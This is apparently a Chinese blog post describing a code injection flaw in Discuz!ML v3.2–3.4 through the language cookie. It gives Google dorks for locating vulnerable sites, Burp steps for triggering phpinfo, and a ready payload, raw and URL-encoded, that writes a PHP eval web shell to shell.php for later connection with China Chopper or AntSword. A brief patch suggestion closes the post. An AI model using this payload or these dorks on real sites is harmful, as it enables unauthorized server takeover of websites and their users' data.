Discuz ML! V3.X存在代码注入漏洞,攻击者通过精心构建的请求报文可以直接执行恶意的PHP代码,进一步可获取整个网站的服务器权限。
漏洞影响版本:
Discuz!ML v.3.4 、Discuz!ML v.3.2 、Discuz!ML v.3.3 product of codersclub.org
1.1如何区分Discuz!ML V3.X站:
一般主页面都存在下面两个标识符。
谷歌dork:
Dork 1:“©2009-2019 codersclub.org”
Dork 2:“MultiLingual version,Rev。”
实现验证过程:
利用burp抓包,将抓到的数据包发送到Repeater,构造请求参数。
将tSWa_2132_language=sc 后面填上Phpinfo就会显示所有phpinfo输出的响应
因为cookie字段中language没有对参数进行过滤直接拼接从而写入缓存文件之中,儿缓存文件随后被加载,从而造成代码执行。
phpinfo验证
我们还可以进一步利用比如写一句话木马进去,但是我们要对木马进行编码要不然引号容易重复。
这是没有进行编码的写入木马方式
'.file_put_contents('shell.php',urldecode('<?php eval($_POST["mo"]);?>')).'
这是编码后: %27.file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp%2520eval%28%2524_%2550%254F%2553%2554%255b%2522mo%2522%255d%29%253b%253f%253e%27%29%29.%27
如果页面显示正常代表木马已经成功被写入,现在就可以拿起我们的菜刀或者蚁剑进行连接。
修复建议
建议修改source/function/function_core.php 644行
/*vot*/ $cachefile = './data/template/'.'sc'.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php';
删除可控变量
基本上上就结束了,喜欢的关注一下。
网友评论